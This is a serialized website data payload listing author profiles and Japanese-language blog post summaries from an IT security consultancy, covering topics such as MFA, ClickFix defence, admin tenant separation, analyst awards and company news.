Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3029,"avatar":3030,"permalink":3031,"linkedin":3032,"imageOffsetTop":2877},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3034,"avatar":3035,"permalink":3036,"linkedin":3037,"imageOffsetTop":2877},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2877},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3043,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":3047,"imageOffsetLeft":3048},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3050,"avatar":3051,"permalink":3052,"linkedin":3053,"imageOffsetTop":3054,"imageOffsetLeft":3055},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3057,"avatar":3058,"permalink":3059,"linkedin":3060,"imageOffsetTop":3061,"imageOffsetLeft":2804},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3063,"Alexander Schlindwein":3064,"Sophie Luna":3065,"Nadine Klein":3066,"Karsten Kleinschmidt":3067,"Julian Wendt":3068,"Holger Bunkradt":3069,"Ralf Mania":3070,"Oliver Kieselbach":3071,"Steffen Schwerdtfeger":3072,"Gunnar Winter":3073,"Jan Petersen":3074,"Thorsten Kunzi":3075,"Moritz Pohl":3076,"Thorben Pöschus":3077,"Christoph Hannebauer":3078,"Marco Scheel":3079,"Christopher Brumm":3080,"Florian Klante":3081,"Niklas Bachmann":3082,"Nils Krautkrämer":3083,"Patrick Treptau":3084,"Peter Beckendorf":3085,"Patrick Sobau":3086,"Jörg Wunderlich":3087,"Michael Breither":3088,"Christian Kanja":3089,"Zeba Hoffmann":3090,"Jochen Fröhlich":3091,"Jan Geisbauer":3092,"Gerrit Reinke":3096,"Christian Kordel":3097,"Stephan Wälde":3098,"Carolin Kanja":3099,"Adrian Ritter":3100,"Marvin Bangert":3101,"Thorsten Pickhan":3102,"Christian Lorenz":3103,"Denis Böhm":3104,"Fabian Bader":3105,"Juan Jose Fernandez Perez":3106,"Mahschid Sayyar":3107,"Benjamin Dassow":3108,"Markus Walschburger":3109,"Jonathan Haist":3110,"Daniel Rohregger":3111,"Thomas Naunheim":3112,"Florian Stöckl":3113,"Pascal Asch":3114,"Markus Kättner":3115,"Anna Ulbricht":3116,"Annette Brauns":3117},{"display_name":2773,"avatar":2774,"permalink":2775,"linkedin":2776,"imageOffsetTop":2777},{"display_name":2779,"avatar":2780,"permalink":2781,"twitter":2782,"linkedin":2783},{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789,"imageOffsetLeft":2790,"imageOffsetTop":2791},{"display_name":2793,"avatar":2794,"permalink":2795,"twitter":2796,"linkedin":2797,"imageOffsetTop":2777},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2804,"imageOffsetLeft":2805},{"display_name":2807,"avatar":2808,"permalink":2809,"linkedin":2810},{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815,"twitter":2816},{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834,"imageOffsetTop":2835,"imageOffsetLeft":2836},{"display_name":2838,"avatar":2839,"permalink":2840,"twitter":2788,"linkedin":2841},{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2788,"linkedin":2846},{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2788,"linkedin":2841,"imageOffsetTop":2777},{"display_name":2852,"avatar":2853,"permalink":2854,"twitter":2788,"linkedin":2855},{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2860,"linkedin":2861},{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2788,"linkedin":2841,"imageOffsetTop":2777},{"display_name":2867,"avatar":2868,"permalink":2869,"twitter":2870,"linkedin":2870},{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2876,"imageOffsetTop":2877},{"display_name":2879,"avatar":2880,"permalink":2881,"linkedin":2882,"twitter":2788},{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2788},{"display_name":2889,"avatar":2890,"permalink":2891,"twitter":2892,"linkedin":2893},{"display_name":2895,"avatar":2896,"permalink":2897,"linkedin":2898,"twitter":2788},{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2788,"imageOffsetTop":2777},{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2788},{"display_name":2910,"avatar":2911,"permalink":2912,"twitter":2788},{"display_name":2914,"avatar":2915,"permalink":2916,"twitter":2788,"linkedin":2917},{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2922,"linkedin":2923},{"display_name":2925,"avatar":2926,"permalink":2927,"linkedin":2928,"twitter":2788},{"display_name":2930,"avatar":2931,"permalink":2932,"twitter":2788,"linkedin":2841},{"display_name":2708,"avatar":2934,"permalink":2935,"twitter":2936,"linkedin":2936,"imageOffsetTop":2777,"socials":3093},[3094,3095],{"text":2939,"href":2940},{"text":2942,"href":2943},{"display_name":2945,"avatar":2946,"permalink":2947,"twitter":2948,"linkedin":2949},{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2788,"linkedin":2841},{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2958,"linkedin":2841},{"display_name":2960,"avatar":2961,"permalink":2962,"twitter":2963,"linkedin":2964},{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2969},{"display_name":2971,"avatar":2972,"permalink":2973,"twitter":2974,"linkedin":2975},{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},{"display_name":2983,"avatar":2984,"permalink":2985,"linkedin":2986,"twitter":2788},{"display_name":2988,"avatar":2989,"permalink":2990,"linkedin":2991,"twitter":2788},{"display_name":2993,"avatar":2994,"permalink":2995,"linkedin":2996,"twitter":2997},{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002},{"display_name":3004,"avatar":3005,"permalink":3006,"linkedin":3007},{"display_name":3009,"avatar":3010,"permalink":3011,"linkedin":3012},{"display_name":3014,"avatar":3015,"permalink":3016,"linkedin":3017},{"display_name":3019,"avatar":3020,"permalink":3021,"linkedin":3022,"imageOffsetTop":2777},{"display_name":3024,"avatar":3025,"permalink":3026,"linkedin":3027,"imageOffsetTop":2777},{"display_name":3029,"avatar":3030,"permalink":3031,"linkedin":3032,"imageOffsetTop":2877},{"display_name":3034,"avatar":3035,"permalink":3036,"linkedin":3037,"imageOffsetTop":2877},{"display_name":523,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2877},{"display_name":3043,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":3047,"imageOffsetLeft":3048},{"display_name":3050,"avatar":3051,"permalink":3052,"linkedin":3053,"imageOffsetTop":3054,"imageOffsetLeft":3055},{"display_name":3057,"avatar":3058,"permalink":3059,"linkedin":3060,"imageOffsetTop":3061,"imageOffsetLeft":2804},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3121,"authors":3325},[3122,3139,3153,3167,3183,3196,3209,3222,3234,3250,3264,3279,3284,3295,3309],{"id":3123,"title":3124,"author":3125,"cta":494,"description":585,"hideInRecent":484,"layout":2672,"meta":3126,"moment":3131,"path":3132,"stem":3133,"tags":3134,"webcast":484},"content_ja/posts/2026-09-22-end-of-mfa-sms.md","MFA向けSMSの終わり",[2799],{"lang":2674,"date":3127,"categories":3128,"blogtitlepic":3129,"customExcerpt":3130},"2026-09-21",[235],"head-conditional-access.jpg","企業がいまフィッシング耐性のある、できるだけパスワードレスな認証方式へ移行すべき理由。","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,3135,3136,3137,3138],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3140,"title":3141,"author":3142,"cta":494,"description":585,"hideInRecent":484,"layout":2672,"meta":3143,"moment":3127,"path":3147,"stem":3148,"tags":3149,"webcast":484},"content_ja/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix。ユーザー自身がエクスプロイトになるとき、そしてそれを止める方法",[2773,2793],{"lang":2674,"date":3127,"categories":3144,"blogtitlepic":3145,"customExcerpt":3146},[235],"head-clickfix.jpg","ClickFixはユーザーを自分自身への攻撃者に変えます。偽のCAPTCHA、コピー＆ペースト、そして悪意あるコードがメモリ上で走り、ディスクには何も残りません。Microsoft Defenderがこの攻撃をどう検知するのか、検知はどこで限界に達するのか、そしてRunMRUハントと4つの防御レイヤーでその隙間をどう埋めるのかを解説します。","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3150,3151,3152],"Defender","SOC","Endpoint Security",{"id":3154,"title":3155,"author":3156,"cta":494,"description":585,"hideInRecent":484,"layout":2672,"meta":3157,"moment":3127,"path":3161,"stem":3162,"tags":3163,"webcast":484},"content_ja/posts/2026-09-21-red-tenant-dark-tenant-cio.md","管理業務と日常業務を1台のPCで。Game Overです。",[2708],{"lang":2674,"date":3127,"categories":3158,"blogtitlepic":3159,"customExcerpt":3160},[235],"head-game-over-en.jpg","CIOにとってテナントが1つでは足りない理由と、2つ目がめったに検討されない理由。Managed Red Tenantは管理業務をオフィス環境からアーキテクチャとして分離し、Managed Dark Tenantは防御が破られてもなお組織が動き続けられるようにします。それが運用モデル、SOCのシグナル、そしてNISG 2026による証明義務にとって何を意味するのかを解説します。","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,3164,3165,3166],"Privileged Access","Zero Trust","NIS2",{"id":3168,"title":3169,"author":3170,"cta":494,"description":3171,"hideInRecent":484,"layout":2672,"meta":3172,"moment":3173,"path":3178,"stem":3179,"tags":3180,"webcast":484},"content_ja/posts/2026-08-08-isg-germany-2026.md","4度のLeader。ISGドイツ調査2026のglueckkanja",[2960],"ISGは今年、調査の名称を変更しました。Microsoft Cloud EcosystemはMicrosoft AI and Cloud Ecosystemになり、名称とともに評価の尺度も移りました。問われるのはもはや、誰がMicrosoftプラットフォームを導入したかではなく、誰がCopilot、エージェント、AIワークロードを制御可能なかたちで運用しているかです。この新しい尺度によって当社の位置づけが変わることはありませんでした。ISG Provider Lens®調査ドイツ2026は、当社を4つのクアドラントでLeaderに位置づけています。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。2021年、2023年、2024年、2025年に続き、ドイツでは5回目のLeader評価となります。スイスでのLeaderクアドラント入りはその2週間前でした。",{"lang":2674,"date":3173,"categories":3174,"blogtitlepic":3176,"customExcerpt":3177},"2026-08-08",[3175],"Corporate","head-isg-de-2026.png","ISG Provider Lens®調査2026は、ドイツにおいてglueckkanjaを4つのクアドラントでLeaderに位置づけました。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。調査の名称はMicrosoft AI and Cloud Ecosystemに変わり、評価の尺度も移りました。AIとエージェントのワークロードを制御可能なかたちで運用できるかが問われています。","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3181,3182],"Award","ISG",{"id":3184,"title":3185,"author":3186,"cta":494,"description":3187,"hideInRecent":484,"layout":2672,"meta":3188,"moment":3189,"path":3193,"stem":3194,"tags":3195,"webcast":484},"content_ja/posts/2026-07-31-isg-switzerland-2026.md","Rising StarからLeaderへ。ISGスイス調査2026のglueckkanja",[2960],"2024年に当社はglueckkanja Switzerland AGを設立し、ベルンのBahnhofplatz 10bにあるzentroomにオフィスを構えました。2025年、ISGはスイス市場で当社をRising Starに位置づけました。アナリストがLeaderクアドラントへの躍進を見込むベンダーという位置づけです。その躍進がいま記録されました。ISG Provider Lens®調査2026は、スイスにおいて当社をMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけています。",{"lang":2674,"date":3189,"categories":3190,"blogtitlepic":3191,"customExcerpt":3192},"2026-07-31",[3175],"head-isg-ch-2026.png","ISG Provider Lens®調査2026は、スイスにおいてglueckkanjaをMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけました。ベルンでの市場参入から2年、Rising Star選出から1年でのことです。","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3181,3182],{"id":3197,"title":3198,"author":3199,"cta":494,"description":585,"hideInRecent":484,"layout":2672,"meta":3200,"moment":3201,"path":3205,"stem":3206,"tags":3207,"webcast":484},"content_ja/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak。OpenAI／Hugging Faceの事案が示すこと、示さないこと",[2708],{"lang":2674,"date":3201,"categories":3202,"blogtitlepic":3203,"customExcerpt":3204},"2026-07-24",[235],"head-outbreak.jpg","AIエージェントがテスト環境から脱出し、ゼロデイを見つけ、別の企業をハッキングする。映画の脚本のようですが、2026年7月に実際に起きました。冷静に位置づける時期です。少しの心理学、2人のセキュリティ専門家、そしてそれが自社の防御にとって何を意味するのかという問いとともに。","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3208,3151,3165],"AI",{"id":3210,"title":3211,"author":3212,"cta":494,"description":3213,"hideInRecent":484,"layout":2672,"meta":3214,"moment":3215,"path":3219,"stem":3220,"tags":3221,"webcast":484},"content_ja/posts/2026-07-22-isg-cybersecurity-2026.md","LeaderそしてRising Star。ISGサイバーセキュリティ調査2026のglueckkanja",[2960],"新たに加わったクアドラントで、いきなりLeaderになりました。ISG Provider Lens®調査「Cybersecurity – Services and Solutions 2026」は、ドイツの中堅中小企業向けNext-Gen SOC/MDR Services分野でglueckkanjaをLeaderと位置づけています。Next-Gen SOC/MDR Servicesの全体市場では、ISGは当社をRising Starに選出しました。つまり、今後12か月から24か月のうちにLeaderクアドラントへ躍進するとアナリストが見込むベンダーだということです。",{"lang":2674,"date":3215,"categories":3216,"blogtitlepic":3217,"customExcerpt":3218},"2026-07-22",[3175],"head-isg-cybersecurity-2026.png","ISG Provider Lens®調査 Cybersecurity 2026は、glueckkanjaをNext-Gen SOC/MDR Services（Midmarket）クアドラントのLeaderに選出しました。Next-Gen SOC/MDR Servicesの全体市場では、当社はRising Starです。ISGは当社の平均を上回る成長、Microsoftセキュリティに関する深い専門性、そしてドイツ国内から提供する24時間365日のSOCを評価しています。","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3181,3182,235],{"id":3223,"title":3224,"author":3225,"cta":494,"description":3226,"hideInRecent":484,"layout":2672,"meta":3227,"moment":3228,"path":3231,"stem":3232,"tags":3233,"webcast":484},"content_ja/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity：AIが実際に働くために本当に必要なもの",[2960],"ある製造業の企業が、14,000あるSKUのうちどれが実際に利益を生んでいるのかを知りたいと考えました。答えは3つのシステムの中にありますが、それらは一度もデータを1件たりともやり取りしたことがありません。少し前までは、その答えを得るのに3つの部門、2週間、そして相当な善意が必要でした。2026年初頭からは、AIがこの問いに数分で答えられます。データを走査し、関連を結び、推奨を出す。ただし、アクセスできることが前提です。",{"lang":2674,"date":3228,"categories":3229,"blogtitlepic":3230},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3208,131],{"id":3235,"title":3236,"author":3237,"cta":494,"description":3238,"hideInRecent":484,"layout":2672,"meta":3239,"moment":3240,"path":3244,"stem":3245,"tags":3246,"webcast":484},"content_ja/posts/2026-07-01-onboarding-process.md","契約書にサインしたあと：当社のオンボーディングはこう進みます",[3050],"オンボーディングは実際どう進むのですか。応募者との会話で繰り返し受ける質問です。オンボーディングがぎくしゃくした経験を持つ人が少なくないからでしょう。だからこそ当社は、最初から安心してもらうことを大切にしています。",{"lang":2674,"date":3240,"categories":3241,"blogtitlepic":3242,"customExcerpt":3243},"2026-07-01",[3175],"Onboarding_Blogheader","契約書にサインが済み、大きな一歩は終わりました。では、ここからどうなるのでしょうか。PreBoardingからチームでの最初の1週間まで、当社のオンボーディングの舞台裏をご案内します。","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3247,3248,3249],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3251,"title":3252,"author":3253,"cta":494,"description":3254,"hideInRecent":484,"layout":2672,"meta":3255,"moment":3256,"path":3260,"stem":3261,"tags":3262,"webcast":484},"content_ja/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner：当社もその一員です",[2960],"Microsoftのパートナーエコシステムには数多くの表彰がありますが、Frontier Partner Badgeはその成り立ちにおいて他の称号と一線を画します。申請することはできず、Microsoft側の主導で、ごく限られたパートナーに授与されます。対象となるには、1つの領域で秀でるのではなく、複数の領域で同時に実力を示さなければなりません。Microsoftが確認するのは、Cloud & AI Platforms、AI Business Solutions、そしてSecurityにおける実証済みの能力です。つまり対象は、AIを既存のITへの後付けではなく、IDからエンドポイント、そして本番のAI運用までを貫くアーキテクチャの帰結として捉えている企業です。",{"lang":2674,"date":3256,"categories":3257,"blogtitlepic":3258,"customExcerpt":3259},"2026-06-26",[3175],"head-frontier-partner-badge.jpg","最近、Microsoft AI Cloud Partner Programに新たな最高位の称号としてFrontier Partner Badgeが設けられました。Microsoftがこれを授与するのは、ワークプレイスからクラウドプラットフォーム、セキュリティ、そしてAIアプリケーションそのものに至るまで、Microsoftスタック全体でAIプロジェクトを確実に届けられると実績で示した、世界でもごく限られたパートナーだけです。DACH圏でこのグループに属するのは数社にすぎず、当社はそのうちの1社です。","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3181,3263,3208],"Microsoft Partner",{"id":3265,"title":3266,"author":3267,"cta":494,"description":3268,"hideInRecent":484,"layout":2672,"meta":3269,"moment":3270,"path":3274,"stem":3275,"tags":3276,"webcast":484},"content_ja/posts/2026-06-09-vair-run.md","チャリティのために160キロ",[3057],"日曜の朝8時30分、マイン川沿いのHolbeinsteg。おそろいのNinjaCatシャツを着た11人の同僚が、Frankfurter Rundenのスタートに並びました。雨も雷鳴も込みです。良いことのために走るという動機は、悪天候でもランニングシューズの紐を結ぶのに十分でした。",{"lang":2674,"date":3270,"categories":3271,"blogtitlepic":3272,"customExcerpt":3273},"2026-06-08",[3175],"frankfurter-runden.png","同僚11人、16周、160キロ、雷雨、そして表彰台。glueckkanjaはFrankfurter Runden 2026に参加し、走った1周ごとにVAIR e.V.へ寄付しました。同団体はオフェンバッハでインクルーシブなスポーツ・カルチャーパークを建設しています。","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3277,3247,3278],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3280,"cta":494,"description":530,"hideInRecent":484,"layout":2672,"meta":3281,"moment":2677,"path":2757,"stem":2759,"tags":3283,"webcast":484},[523],{"lang":2674,"date":2677,"categories":3282,"blogtitlepic":2679,"customExcerpt":2681},[235],[2761,2762,2763,2764,2765],{"id":3285,"title":3286,"author":3287,"cta":494,"description":3288,"hideInRecent":484,"layout":2672,"meta":3289,"moment":3290,"path":3293,"stem":3294,"tags":494,"webcast":484},"content_ja/posts/2026-03-21-microsoft-edge-corporate-browser.md","Edgeを唯一の社内標準ブラウザーにすべき理由",[2830],"企業環境におけるブラウザーの選定は戦略的な判断です。セキュリティの水準と運用の手間を直接左右します。長らくGoogle Chromeが自然な選択肢でしたが、Microsoft Edgeは既存のスタックに直接組み込まれるブラウザーへと進化しました。特にMicrosoft 365を利用し、管理をIntuneで行っている環境ではその効果が大きくなります。",{"lang":2674,"date":3290,"blogtitlepic":3291,"customExcerpt":3292},"2026-03-21","head-microsoft-edge-default-browser.jpg","Chromeを本気で選んだ企業はほとんどありません。独自の同期ロジック、独自のアカウント管理、独自のポリシー画面を抱えたまま、ただそこにあっただけです。一方でMicrosoft Edgeは、すでに動いているインフラ、つまりEntra ID、Intune、Defenderに直接組み込まれます。本記事では、移行がどのようなものか、IntuneのポリシーでどのようにChromeをランディングページへリダイレクトするか、そして2つのブラウザーを並行運用するのをやめると何が不要になるかを紹介します。","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3296,"title":3297,"author":3298,"cta":494,"description":3299,"hideInRecent":484,"layout":2672,"meta":3300,"moment":3301,"path":3305,"stem":3306,"tags":3307,"webcast":484},"content_ja/posts/2026-03-20-stryker-attack-intune-privilege.md","必要だったのは管理者アカウント1つだけでした",[2708],"2026年3月11日水曜日。79か国のStrykerのオフィスで従業員がPCの電源を入れると、中身は空でした。ログイン画面はロゴに置き換わっていました。社用ノートPC、社用スマートフォン、そして同社のBYODプログラムに登録されていた私物端末まで、すべてが一夜のうちに同時に消去されました。ランサムウェアもマルウェアのシグネチャも、エンドポイント検知ツールが捉えられるものは何もありませんでした。",{"lang":2674,"date":3301,"categories":3302,"blogtitlepic":3303,"customExcerpt":3304},"2026-03-20",[235],"head-stryker.jpg","2026年3月11日、Handalaは79か国の端末を消去しました。そのために必要だったのは、侵害されたIntuneの管理者アカウント1つだけです。マルウェアもエクスプロイトもなく、正規の管理ツールが所有者自身に向けられました。何が起きたのか、なぜそれが通用したのか、そして塞ぐべき2つのアーキテクチャ上の穴について説明します。","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[3308,71,3164,3165],"Red Tenant",{"id":3310,"title":3311,"author":3312,"cta":494,"description":3313,"hideInRecent":484,"layout":2672,"meta":3314,"moment":3315,"path":3319,"stem":3320,"tags":3321,"webcast":484},"content_ja/posts/2026-03-16-ai-agent-hackathon.md","6つのAgent。4週間。実際の運用へ。",[2960],"自社のIT部門は、Agentなら数分で片づく作業に毎週何時間を費やしているでしょうか。",{"lang":2674,"date":3315,"categories":3316,"blogtitlepic":3317,"customExcerpt":3318},"2026-03-16",[3175],"head-ai-agent-hackathon.jpg","6社、4週間のビルドフェーズ、6つの動作するAI Agent。これが第1回glueckkanja AI Agent Hackathonの成果です。Kiekert、Dr. Oetker、Eckes-Granini、igefa、lila logistikがCopilot StudioでAgentを構築し、それらは現在すでに本番で稼働しています。そこで何が生まれ、この形式がどのように機能するのかを紹介します。","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3208,3322,3323,3324],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3326,"Fritz Zurhorst":3327,"Nadine Klein":3328,"Jan Geisbauer":3329,"Carolin Kanja":3333,"Anna Ulbricht":3334,"Annette Brauns":3335,"Pascal Asch":3336,"Steffen Schwerdtfeger":3337},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2804,"imageOffsetLeft":2805},{"display_name":2773,"avatar":2774,"permalink":2775,"linkedin":2776,"imageOffsetTop":2777},{"display_name":2793,"avatar":2794,"permalink":2795,"twitter":2796,"linkedin":2797,"imageOffsetTop":2777},{"display_name":2708,"avatar":2934,"permalink":2935,"twitter":2936,"linkedin":2936,"imageOffsetTop":2777,"socials":3330},[3331,3332],{"text":2939,"href":2940},{"text":2942,"href":2943},{"display_name":2960,"avatar":2961,"permalink":2962,"twitter":2963,"linkedin":2964},{"display_name":3050,"avatar":3051,"permalink":3052,"linkedin":3053,"imageOffsetTop":3054,"imageOffsetLeft":3055},{"display_name":3057,"avatar":3058,"permalink":3059,"linkedin":3060,"imageOffsetTop":3061,"imageOffsetLeft":2804},{"display_name":523,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2877},{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834,"imageOffsetTop":2835,"imageOffsetLeft":2836},{"id":2768,"extension":2769,"meta":3339,"stem":8,"__hash__":3119},{"Pascal Asch":3340},{"display_name":523,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2877},1791383937454]